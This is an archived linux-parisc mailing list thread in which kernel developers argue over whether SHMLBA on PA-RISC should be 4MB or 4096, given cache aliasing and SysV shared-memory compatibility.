	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YPao1-0006KM-Qf
	for glpp-linux-parisc@plane.gmane.org; Sun, 22 Feb 2015 18:59:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752145AbbBVR7A (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 22 Feb 2015 12:59:00 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:49093 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752131AbbBVR7A (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 22 Feb 2015 12:59:00 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 7B71C8EE162;
	Sun, 22 Feb 2015 09:58:59 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id IrArrn6k2ICP; Sun, 22 Feb 2015 09:58:59 -0800 (PST)
Original-Received: from [153.66.254.242] (unknown [50.46.149.214])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id EB3DA8EE101;
	Sun, 22 Feb 2015 09:58:58 -0800 (PST)
In-Reply-To: <BLU437-SMTP61AF76DB80DF7F81524FCC97280@phx.gbl>
X-Mailer: Evolution 3.12.9 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25595
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25595>

On Sun, 2015-02-22 at 12:54 -0500, John David Anglin wrote:
> On 2015-02-22, at 12:17 PM, James Bottomley wrote:
> 
> > On Sun, 2015-02-22 at 11:45 -0500, John David Anglin wrote:
> >> On 2015-02-21, at 6:57 PM, James Bottomley wrote:
> >> 
> >>> On Sun, 2015-02-22 at 00:26 +0100, Helge Deller wrote:
> >>>> On 22.02.2015 00:09, James Bottomley wrote:
> >>>>> On Sat, 2015-02-21 at 15:40 -0500, John David Anglin wrote:
> >>>>>> On 2015-02-21, at 3:31 PM, John David Anglin wrote:
> >>>>>> 
> >>>>>>> On 2015-02-20, at 4:36 PM, Carlos O'Donell wrote:
> >>>>>>> 
> >>>>>>>> On Thu, Apr 3, 2014 at 4:26 PM, Helge Deller <deller@gmx.de> wrote:
> >>>>>>>>> In current eglibc it's set to 0x00400000
> >>>>>>>>> That's what my eglibc-patch changes...
> >>>>>>>>> I'm currently building a eglibc on hpviz with SHMLBA set to 4096 (__getpagesize()).
> >>>>>>>> 
> >>>>>>>> Anyone object to me fixing this upstream by making SHMLBA match the kernel?
> >>>>>>>> 
> >>>>>>>> I plan to use a fixed value of 4096, since I never expect hppa
> >>>>>>>> userspace to have to care (even if the kernel uses superpages).
> >>>>>>> 
> >>>>>>> We currently use (__getpagesize ()) in Debian and this seems to be a common definition.
> >>>>>>> Is there a performance advantage in using 4096?
> >>>>>>> 
> >>>>>>>> 
> >>>>>>>> Please correct me if I'm wrong.
> >>>>>>> 
> >>>>>>> 
> >>>>>>> At one time, we thought this value needed to be 4 MB.  Helge was
> >>>>>> working on improving the mmap
> >>>>>>> allocation scheme but this work stalled after some improvement.  I
> >>>>>> can't remember the issues and how
> >>>>>>> they relate to SHMLBA.
> >>>>>> 
> >>>>>> 
> >>>>>> Actually, the number was 4 Mb (bit).
> >>>>> 
> >>>>> No, it was 4MB.  That's the cache equivalency stride on PA processors
> >>>>> because we have a VIPT cache.  The architectural requirement according
> >>>>> to the dreaded appendix F is 16MB but we were assured by the PA
> >>>>> architects that it was 4 because they never planned producing processors
> >>>>> that would require 16.  The actual meaning is it's the number of bits of
> >>>>> the virtual address that are significant in the virtual index.
> >>>>> 
> >>>> 
> >>>> Your following statement:
> >>>> 
> >>>>> The point of SHMLBA is that if the same physical page is mapped into two
> >>>>> different virtual addresses but the two addresses are equal, modulo
> >>>>> SHMLBA, then the L1 cache sees the equivalency and you can't get
> >>>>> inequivalent cache aliases for the page (two writes to the two different
> >>>>> addresses producing two separately dirty cache lines which can never
> >>>>> resolve).  This means that the virtual addresses of all shared mappings
> >>>>> have to be equal modulo SHMLBA for the caches not to alias.
> >>>> 
> >>>> With this you define SHMLBA to be the representative number which defines
> >>>> what the current cache equivalency stride of the kernel is, *and* which then can
> >>>> be used by userspace. I think this is a misinterpretation of SHMLBA (or at
> >>>> least a parisc-specific interpretation of SHMLBA), which is not like how it
> >>>> is used on other architectures with similar limitations.
> >>>> Userspace should not know the kernel/architecture specifics. Instead they
> >>>> should try to mmap() memory somewhere (e.g. 4KB aligned) and if they need shared mappings then
> >>>> kernel/glibc will return a corrected mapping address (modulo 4MB).
> >>>> I think this is important, since most userspace programs usually try to mmap at
> >>>> a multiple of SHMLBA with which we then run very soon out of userspace (with SHMLBA=4MB).
> >>>> This has been the issue with localedef in glibc (a strange coding which tries
> >>>> to be platform-specific with mmap-calculation). Because of that in the end
> >>>> it turned out to be best for parisc to have SHMLBA defined to 4kb (and not 4MB).
> >>>> 
> >>>> So, your statement above is correct, I would just not use "SHMLBA" in this term,
> >>>> but maybe "KERNEL_SHMLBA" instead.
> >>> 
> >>> Um, no, SHMLBA comes from the SYS-V IPC primitives.  They were stupid
> >>> enough to allow the user pick the address of the region of shared
> >>> memory, so the user had to know these architectural details and SHMLBA
> >>> encodes them (man shmat will give you the gory details).
> >>> 
> >>> For mmap, we can mostly do the right thing in the kernel, except for
> >>> MAP_FIXED, where the user has to know what they're doing again.
> >>> 
> >>> For the cases the user thinks they know best, we can't avoid giving out
> >>> the knowledge somehow, because inequivalent aliases in writeable
> >>> mappings will HPMC a system.  We could be more relaxed about
> >>> inequivalent aliases in read only mappings (say shared libraries), but
> >>> the consequence of that is an explosion in the use of cache space, so we
> >>> would want some libraries (like glibc) with many shared copies to obey
> >>> SHMLBA.
> >> 
> >> 
> >> I agree with Helge.  We run out of memory too quickly with 4 MB.  This resulted in various
> >> userspace applications failing as mentioned by Helge.
> >> 
> >> MAP_FIXED can fail it the address is a problem.  I believe we check for that.
> >> 
> >> If you look at the pch implementation in gcc, you will see that the MAP_FIXED problem can be
> >> worked around, and this problem is not specific to parisc.  The pch data has to mapped at the same
> >> address as it was originally created as there is no way to relocate the data.
> >> 
> >> SHMLBA is 4096 /* (1 << PGSHIFT) */ on hpux.
> >> 
> >> The following is in <asm-generic/shmparam.h>:
> >> #define SHMLBA PAGE_SIZE	 /* attach addr a multiple of this */
> >> 
> >> Shared mappings are handled with 
> >> asm/shmparam.h:#define SHM_COLOUR 0x00400000	/* shared mappings colouring */
> > 
> > So how is the sys-v ipc problem fixed?  There the user is told to select
> > an address which is a multiple of SHMLBA.  Programs that do this today
> > will start to break on writeable mappings if we set SHMLBA to PAGE_SIZE
> > because the colour will be wrong.
> 
> 
> The code returns -EINVAL.  See arch_get_unmapped_area.

But that's not a solution.  Let me try to illustrate: I have an existing
application, it uses sys-v ipc and selects a shmat address based on the
multiple of SHMLBA for a writeable mapping.  Today it works.  Tomorrow
when you make this change, it fails with -EINVAL.  That's breaking an
existing application because chances are the app will just report the
failure and exit.

James



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Sun, 22 Feb 2015 13:02:26 -0500
Lines: 122
Approved: news@gmane.org
Message-ID: <BLU436-SMTP181B51781F48E189A5EE3F597280@phx.gbl>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi> <BLU0-SMTP47556722282C83F98582B797C50@phx.gbl> <201312191619.05005.vapier@gentoo.org> <5313A12E.7010307@gmx.de> <20140401182627.GA3285@drone.musicnaut.iki.fi> <533B0A57.2060700@gmx.de> <CAE2sS1jZTzccFy_uWri++cgVz+AYVfY0_aFqXFxnJXZV3d1a0g@mail.gmail.com> <533C7C9A.5080703@gmx.de> <BLU0-SMTP84F101069B44354FC1070C976D0@phx.gbl> <533DB961.9010607@gmx.de> <BLU0-SMTP7204937E7AF88D8736354E976C0@phx.gbl> <533DC3E8.5010701@gmx.de> <CAE2sS1iY6H3fnEJDHr6oPGywwGYmM_2gt2r_p+DUz+v0Rf2szg@mail.gmail.com> <BLU436-SMTP15952414B35EC498F0793B1972B0@phx.gbl> <BLU437-SMTP9274AAFB2636BF93781F02972B0@phx.gbl> <1424560158.2146.22.camel@HansenPartnership.com> <54E9141B.4050009@gmx.de> <1424563046.2146.41.camel@HansenPartnership.com> <BLU436-SMTP737CEA
 AA0E7C3EAEFB9DB097280@phx.gbl> <1424626089.2146.92.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1424628159 2011 80.91.229.3 (22 Feb 2015 18:02:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 22 Feb 2015 18:02:39 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Carlos O'Donell <carlos@systemhalted.org>,
	Aaro Koskinen <aaro.koskinen@iki.fi>,
	Mike Frysinger <vapier@gentoo.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 22 19:02:33 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YParO-0007nU-Vg
	for glpp-linux-parisc@plane.gmane.org; Sun, 22 Feb 2015 19:02:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752072AbbBVSCa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 22 Feb 2015 13:02:30 -0500
Original-Received: from blu004-omc4s21.hotmail.com ([65.55.111.160]:51658 "EHLO
	BLU004-OMC4S21.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751980AbbBVSCa convert rfc822-to-8bit
	(ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 22 Feb 2015 13:02:30 -0500
Original-Received: from BLU436-SMTP181 ([65.55.111.136]) by BLU004-OMC4S21.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.22751);
	 Sun, 22 Feb 2015 10:02:29 -0800
X-TMN: [dJk+8cYj+gshMFsJxxqLBEtlPRQQW3Jv]
X-Originating-Email: [dave.anglin@bell.net]
In-Reply-To: <1424626089.2146.92.camel@HansenPartnership.com>
X-Mailer: Apple Mail (2.1085)
X-OriginalArrivalTime: 22 Feb 2015 18:02:28.0546 (UTC) FILETIME=[B88E2220:01D04EC9]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25596
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25596>

On 2015-02-22, at 12:28 PM, James Bottomley wrote:

> On Sun, 2015-02-22 at 11:45 -0500, John David Anglin wrote:
>> On 2015-02-21, at 6:57 PM, James Bottomley wrote:
>> 
>>> On Sun, 2015-02-22 at 00:26 +0100, Helge Deller wrote:
>>>> On 22.02.2015 00:09, James Bottomley wrote:
>>>>> On Sat, 2015-02-21 at 15:40 -0500, John David Anglin wrote:
>>>>>> On 2015-02-21, at 3:31 PM, John David Anglin wrote:
>>>>>> 
>>>>>>> On 2015-02-20, at 4:36 PM, Carlos O'Donell wrote:
>>>>>>> 
>>>>>>>> On Thu, Apr 3, 2014 at 4:26 PM, Helge Deller <deller@gmx.de> wrote:
>>>>>>>>> In current eglibc it's set to 0x00400000
>>>>>>>>> That's what my eglibc-patch changes...
>>>>>>>>> I'm currently building a eglibc on hpviz with SHMLBA set to 4096 (__getpagesize()).
>>>>>>>> 
>>>>>>>> Anyone object to me fixing this upstream by making SHMLBA match the kernel?
>>>>>>>> 
>>>>>>>> I plan to use a fixed value of 4096, since I never expect hppa
>>>>>>>> userspace to have to care (even if the kernel uses superpages).
>>>>>>> 
>>>>>>> We currently use (__getpagesize ()) in Debian and this seems to be a common definition.
>>>>>>> Is there a performance advantage in using 4096?
>>>>>>> 
>>>>>>>> 
>>>>>>>> Please correct me if I'm wrong.
>>>>>>> 
>>>>>>> 
>>>>>>> At one time, we thought this value needed to be 4 MB.  Helge was
>>>>>> working on improving the mmap
>>>>>>> allocation scheme but this work stalled after some improvement.  I
>>>>>> can't remember the issues and how
>>>>>>> they relate to SHMLBA.
>>>>>> 
>>>>>> 
>>>>>> Actually, the number was 4 Mb (bit).
>>>>> 
>>>>> No, it was 4MB.  That's the cache equivalency stride on PA processors
>>>>> because we have a VIPT cache.  The architectural requirement according
>>>>> to the dreaded appendix F is 16MB but we were assured by the PA
>>>>> architects that it was 4 because they never planned producing processors
>>>>> that would require 16.  The actual meaning is it's the number of bits of
>>>>> the virtual address that are significant in the virtual index.
>>>>> 
>>>> 
>>>> Your following statement:
>>>> 
>>>>> The point of SHMLBA is that if the same physical page is mapped into two
>>>>> different virtual addresses but the two addresses are equal, modulo
>>>>> SHMLBA, then the L1 cache sees the equivalency and you can't get
>>>>> inequivalent cache aliases for the page (two writes to the two different
>>>>> addresses producing two separately dirty cache lines which can never
>>>>> resolve).  This means that the virtual addresses of all shared mappings
>>>>> have to be equal modulo SHMLBA for the caches not to alias.
>>>> 
>>>> With this you define SHMLBA to be the representative number which defines
>>>> what the current cache equivalency stride of the kernel is, *and* which then can
>>>> be used by userspace. I think this is a misinterpretation of SHMLBA (or at
>>>> least a parisc-specific interpretation of SHMLBA), which is not like how it
>>>> is used on other architectures with similar limitations.
>>>> Userspace should not know the kernel/architecture specifics. Instead they
>>>> should try to mmap() memory somewhere (e.g. 4KB aligned) and if they need shared mappings then
>>>> kernel/glibc will return a corrected mapping address (modulo 4MB).
>>>> I think this is important, since most userspace programs usually try to mmap at
>>>> a multiple of SHMLBA with which we then run very soon out of userspace (with SHMLBA=4MB).
>>>> This has been the issue with localedef in glibc (a strange coding which tries
>>>> to be platform-specific with mmap-calculation). Because of that in the end
>>>> it turned out to be best for parisc to have SHMLBA defined to 4kb (and not 4MB).
>>>> 
>>>> So, your statement above is correct, I would just not use "SHMLBA" in this term,
>>>> but maybe "KERNEL_SHMLBA" instead.
>>> 
>>> Um, no, SHMLBA comes from the SYS-V IPC primitives.  They were stupid
>>> enough to allow the user pick the address of the region of shared
>>> memory, so the user had to know these architectural details and SHMLBA
>>> encodes them (man shmat will give you the gory details).
>>> 
>>> For mmap, we can mostly do the right thing in the kernel, except for
>>> MAP_FIXED, where the user has to know what they're doing again.
>>> 
>>> For the cases the user thinks they know best, we can't avoid giving out
>>> the knowledge somehow, because inequivalent aliases in writeable
>>> mappings will HPMC a system.  We could be more relaxed about
>>> inequivalent aliases in read only mappings (say shared libraries), but
>>> the consequence of that is an explosion in the use of cache space, so we
>>> would want some libraries (like glibc) with many shared copies to obey
>>> SHMLBA.
>> 
>> 
>> I agree with Helge.  We run out of memory too quickly with 4 MB.  This resulted in various
>> userspace applications failing as mentioned by Helge.
>> 
>> MAP_FIXED can fail it the address is a problem.  I believe we check for that.
>> 
>> If you look at the pch implementation in gcc, you will see that the MAP_FIXED problem can be
>> worked around, and this problem is not specific to parisc.  The pch data has to mapped at the same
>> address as it was originally created as there is no way to relocate the data.
>> 
>> SHMLBA is 4096 /* (1 << PGSHIFT) */ on hpux.
> 
> Do we know what tricks hpux does in shmat() to pull this off?  Making
> writeable mappings uncacheable might be one way.  Using the space bits
> as part of the VI index generation would be another.  I think there were
> also some space bit quadrant tricks hpux pulls, aren't there?


I don't know anything about the internal details.  I believed that shared mappings of shared libraries normally in
one quadrant and private mappings in another quadrant.  One can't place a break point in a shared library when
the mapping is shared.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Sun, 22 Feb 2015 19:07:24 +0100
Lines: 143
Approved: news@gmane.org
Message-ID: <54EA1ADC.60701@gmx.de>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi>	 <BLU0-SMTP47556722282C83F98582B797C50@phx.gbl>	 <201312191619.05005.vapier@gentoo.org> <5313A12E.7010307@gmx.de>	 <20140401182627.GA3285@drone.musicnaut.iki.fi> <533B0A57.2060700@gmx.de>	 <CAE2sS1jZTzccFy_uWri++cgVz+AYVfY0_aFqXFxnJXZV3d1a0g@mail.gmail.com>	 <533C7C9A.5080703@gmx.de> <BLU0-SMTP84F101069B44354FC1070C976D0@phx.gbl>	 <533DB961.9010607@gmx.de> <BLU0-SMTP7204937E7AF88D8736354E976C0@phx.gbl>	 <533DC3E8.5010701@gmx.de>	 <CAE2sS1iY6H3fnEJDHr6oPGywwGYmM_2gt2r_p+DUz+v0Rf2szg@mail.gmail.com>	 <BLU436-SMTP15952414B35EC498F0793B1972B0@phx.gbl>	 <BLU437-SMTP9274AAFB2636BF93781F02972B0@phx.gbl>	 <1424560158.2146.22.camel@HansenPartnership.com> <54E9141B.4050009@gmx.de>	 <1424563046.2146.41.camel@HansenPartnership.com>	 <BLU4
 36-SMTP737CEAAA0E7C3EAEFB9DB097280@phx.gbl>	 <1424625475.2146.88.camel@HansenPartnership.com>	 <BLU437-SMTP61AF76DB80DF7F81524FCC97280@phx.gbl> <1424627938.2146.103.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1424628476 6626 80.91.229.3 (22 Feb 2015 18:07:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 22 Feb 2015 18:07:56 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	Aaro Koskinen <aaro.koskinen@iki.fi>,
	Mike Frysinger <vapier@gentoo.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 22 19:07:45 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YPawS-0001yP-15
	for glpp-linux-parisc@plane.gmane.org; Sun, 22 Feb 2015 19:07:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752006AbbBVSHm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 22 Feb 2015 13:07:42 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:61634 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751980AbbBVSHm (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 22 Feb 2015 13:07:42 -0500
Original-Received: from [192.168.20.60] ([84.173.42.111]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0MPlsg-1YTQQ01UF0-0054JO; Sun, 22 Feb 2015 19:07:26
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.4.0
In-Reply-To: <1424627938.2146.103.camel@HansenPartnership.com>
X-Provags-ID: V03:K0:xjyNJj35viN7ltxKFfZjM9ywJ0gcGura9ElsgwkBr654sNUOWq3
 x46VuR+AOiXW5m53Rz4kzr9r+GWY0btQFGb8MLnh+LUeQQph/ZH/QnDEu7zlHdLiDshX6+/
 dkotgCVaiSjcd/TzU690E2qYPmsYdAoVyPfAJfv06FnQF6Vc548NFYngv4AjevMLacoTQIk
 UCtWdoK1PYu/oaO/l3Ldw==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25597
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25597>

On 22.02.2015 18:58, James Bottomley wrote:
> On Sun, 2015-02-22 at 12:54 -0500, John David Anglin wrote:
>> On 2015-02-22, at 12:17 PM, James Bottomley wrote:
>>
>>> On Sun, 2015-02-22 at 11:45 -0500, John David Anglin wrote:
>>>> On 2015-02-21, at 6:57 PM, James Bottomley wrote:
>>>>
>>>>> On Sun, 2015-02-22 at 00:26 +0100, Helge Deller wrote:
>>>>>> On 22.02.2015 00:09, James Bottomley wrote:
>>>>>>> On Sat, 2015-02-21 at 15:40 -0500, John David Anglin wrote:
>>>>>>>> On 2015-02-21, at 3:31 PM, John David Anglin wrote:
>>>>>>>>
>>>>>>>>> On 2015-02-20, at 4:36 PM, Carlos O'Donell wrote:
>>>>>>>>>
>>>>>>>>>> On Thu, Apr 3, 2014 at 4:26 PM, Helge Deller <deller@gmx.de> wrote:
>>>>>>>>>>> In current eglibc it's set to 0x00400000
>>>>>>>>>>> That's what my eglibc-patch changes...
>>>>>>>>>>> I'm currently building a eglibc on hpviz with SHMLBA set to 4096 (__getpagesize()).
>>>>>>>>>>
>>>>>>>>>> Anyone object to me fixing this upstream by making SHMLBA match the kernel?
>>>>>>>>>>
>>>>>>>>>> I plan to use a fixed value of 4096, since I never expect hppa
>>>>>>>>>> userspace to have to care (even if the kernel uses superpages).
>>>>>>>>>
>>>>>>>>> We currently use (__getpagesize ()) in Debian and this seems to be a common definition.
>>>>>>>>> Is there a performance advantage in using 4096?
>>>>>>>>>
>>>>>>>>>>
>>>>>>>>>> Please correct me if I'm wrong.
>>>>>>>>>
>>>>>>>>>
>>>>>>>>> At one time, we thought this value needed to be 4 MB.  Helge was
>>>>>>>> working on improving the mmap
>>>>>>>>> allocation scheme but this work stalled after some improvement.  I
>>>>>>>> can't remember the issues and how
>>>>>>>>> they relate to SHMLBA.
>>>>>>>>
>>>>>>>>
>>>>>>>> Actually, the number was 4 Mb (bit).
>>>>>>>
>>>>>>> No, it was 4MB.  That's the cache equivalency stride on PA processors
>>>>>>> because we have a VIPT cache.  The architectural requirement according
>>>>>>> to the dreaded appendix F is 16MB but we were assured by the PA
>>>>>>> architects that it was 4 because they never planned producing processors
>>>>>>> that would require 16.  The actual meaning is it's the number of bits of
>>>>>>> the virtual address that are significant in the virtual index.
>>>>>>>
>>>>>>
>>>>>> Your following statement:
>>>>>>
>>>>>>> The point of SHMLBA is that if the same physical page is mapped into two
>>>>>>> different virtual addresses but the two addresses are equal, modulo
>>>>>>> SHMLBA, then the L1 cache sees the equivalency and you can't get
>>>>>>> inequivalent cache aliases for the page (two writes to the two different
>>>>>>> addresses producing two separately dirty cache lines which can never
>>>>>>> resolve).  This means that the virtual addresses of all shared mappings
>>>>>>> have to be equal modulo SHMLBA for the caches not to alias.
>>>>>>
>>>>>> With this you define SHMLBA to be the representative number which defines
>>>>>> what the current cache equivalency stride of the kernel is, *and* which then can
>>>>>> be used by userspace. I think this is a misinterpretation of SHMLBA (or at
>>>>>> least a parisc-specific interpretation of SHMLBA), which is not like how it
>>>>>> is used on other architectures with similar limitations.
>>>>>> Userspace should not know the kernel/architecture specifics. Instead they
>>>>>> should try to mmap() memory somewhere (e.g. 4KB aligned) and if they need shared mappings then
>>>>>> kernel/glibc will return a corrected mapping address (modulo 4MB).
>>>>>> I think this is important, since most userspace programs usually try to mmap at
>>>>>> a multiple of SHMLBA with which we then run very soon out of userspace (with SHMLBA=4MB).
>>>>>> This has been the issue with localedef in glibc (a strange coding which tries
>>>>>> to be platform-specific with mmap-calculation). Because of that in the end
>>>>>> it turned out to be best for parisc to have SHMLBA defined to 4kb (and not 4MB).
>>>>>>
>>>>>> So, your statement above is correct, I would just not use "SHMLBA" in this term,
>>>>>> but maybe "KERNEL_SHMLBA" instead.
>>>>>
>>>>> Um, no, SHMLBA comes from the SYS-V IPC primitives.  They were stupid
>>>>> enough to allow the user pick the address of the region of shared
>>>>> memory, so the user had to know these architectural details and SHMLBA
>>>>> encodes them (man shmat will give you the gory details).
>>>>>
>>>>> For mmap, we can mostly do the right thing in the kernel, except for
>>>>> MAP_FIXED, where the user has to know what they're doing again.
>>>>>
>>>>> For the cases the user thinks they know best, we can't avoid giving out
>>>>> the knowledge somehow, because inequivalent aliases in writeable
>>>>> mappings will HPMC a system.  We could be more relaxed about
>>>>> inequivalent aliases in read only mappings (say shared libraries), but
>>>>> the consequence of that is an explosion in the use of cache space, so we
>>>>> would want some libraries (like glibc) with many shared copies to obey
>>>>> SHMLBA.
>>>>
>>>>
>>>> I agree with Helge.  We run out of memory too quickly with 4 MB.  This resulted in various
>>>> userspace applications failing as mentioned by Helge.
>>>>
>>>> MAP_FIXED can fail it the address is a problem.  I believe we check for that.
>>>>
>>>> If you look at the pch implementation in gcc, you will see that the MAP_FIXED problem can be
>>>> worked around, and this problem is not specific to parisc.  The pch data has to mapped at the same
>>>> address as it was originally created as there is no way to relocate the data.
>>>>
>>>> SHMLBA is 4096 /* (1 << PGSHIFT) */ on hpux.
>>>>
>>>> The following is in <asm-generic/shmparam.h>:
>>>> #define SHMLBA PAGE_SIZE	 /* attach addr a multiple of this */
>>>>
>>>> Shared mappings are handled with
>>>> asm/shmparam.h:#define SHM_COLOUR 0x00400000	/* shared mappings colouring */
>>>
>>> So how is the sys-v ipc problem fixed?  There the user is told to select
>>> an address which is a multiple of SHMLBA.  Programs that do this today
>>> will start to break on writeable mappings if we set SHMLBA to PAGE_SIZE
>>> because the colour will be wrong.
>>
>>
>> The code returns -EINVAL.  See arch_get_unmapped_area.
>
> But that's not a solution.  Let me try to illustrate: I have an existing
> application, it uses sys-v ipc and selects a shmat address based on the
> multiple of SHMLBA for a writeable mapping.  Today it works.

It will work as well with SHMBLA=4096, if you just use SHM_RND too
(and most applications do have SHM_RND).
man shmat says:
  * If shmaddr isn't NULL and SHM_RND is specified in shmflg, the attach occurs at the address equal to shmaddr rounded down to the nearest multiple of SHMLBA.
* Otherwise, shmaddr must be a page-aligned address at which the attach occurs.

So, even here shmaddr is mentioned to be page-aligned (4k), not SHMLBA-aligned (4M in your case).

>Tomorrow
> when you make this change, it fails with -EINVAL.  That's breaking an
> existing application because chances are the app will just report the
> failure and exit.

Tomorrow?  This change is *already* implemented in eglibc since a year or
so and I don't see any applications which break because of SHMBLA=4096...

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
 - optimized patches
Date: Sun, 22 Feb 2015 19:28:26 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <54EA1FCA.1050609@gmx.de>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi> <BLU0-SMTP47556722282C83F98582B797C50@phx.gbl> <201312191619.05005.vapier@gentoo.org> <5313A12E.7010307@gmx.de> <20140401182627.GA3285@drone.musicnaut.iki.fi> <533B0A57.2060700@gmx.de> <CAE2sS1jZTzccFy_uWri++cgVz+AYVfY0_aFqXFxnJXZV3d1a0g@mail.gmail.com> <533C7C9A.5080703@gmx.de> <BLU0-SMTP84F101069B44354FC1070C976D0@phx.gbl> <533DB961.9010607@gmx.de> <BLU0-SMTP7204937E7AF88D8736354E976C0@phx.gbl> <533DC3E8.5010701@gmx.de> <CAE2sS1iY6H3fnEJDHr6oPGywwGYmM_2gt2r_p+DUz+v0Rf2szg@mail.gmail.com> <BLU436-SMTP15952414B35EC498F0793B1972B0@phx.gbl> <BLU437-SMTP9274AAFB2636BF93781F02972B0@phx.gbl> <1424560158.2146.22.camel@HansenPartnership.com> <54E9141B.4050009@gmx.de> <1424563046.2146.41.camel@HansenPartnership.com> <BLU436-SMTP737CEA
 AA0E7C3EAEFB9DB097280@phx.gbl> <1424625475.2146.88.camel@HansenPartnership.com> <BLU437-SMTP61AF76DB80DF7F81524FCC97280@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
